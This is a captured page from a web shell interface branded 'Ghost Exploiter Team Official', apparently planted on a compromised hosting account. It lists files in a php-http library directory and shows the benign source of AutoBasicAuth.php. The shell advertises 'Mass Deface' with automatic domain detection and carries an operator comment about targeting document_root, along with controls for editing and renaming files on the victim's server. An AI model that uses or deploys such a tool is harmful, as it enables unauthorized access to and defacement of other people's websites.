webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
php-http
/
message
/
src
/
Authentication
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
AutoBasicAuth.php
1.136KB
edt
ren
BasicAuth.php
0.885KB
edt
ren
Bearer.php
0.679KB
edt
ren
Chain.php
1.166KB
edt
ren
Header.php
0.621KB
edt
ren
Matching.php
1.792KB
edt
ren
QueryParam.php
1.076KB
edt
ren
RequestConditional.php
0.965KB
edt
ren
Wsse.php
1.714KB
edt
ren
<?php namespace Http\Message\Authentication; use Http\Message\Authentication; use Psr\Http\Message\RequestInterface; /** * Authenticate a PSR-7 Request using Basic Auth based on credentials in the URI. * * @author Márk Sági-Kazár <mark.sagikazar@gmail.com> */ final class AutoBasicAuth implements Authentication { /** * Whether user info should be removed from the URI. * * @var bool */ private $shouldRemoveUserInfo; /** * @param bool|true $shouldRremoveUserInfo */ public function __construct($shouldRremoveUserInfo = true) { $this->shouldRemoveUserInfo = (bool) $shouldRremoveUserInfo; } /** * {@inheritdoc} */ public function authenticate(RequestInterface $request) { $uri = $request->getUri(); $userInfo = $uri->getUserInfo(); if (!empty($userInfo)) { if ($this->shouldRemoveUserInfo) { $request = $request->withUri($uri->withUserInfo('')); } $request = $request->withHeader('Authorization', sprintf('Basic %s', base64_encode($userInfo))); } return $request; } }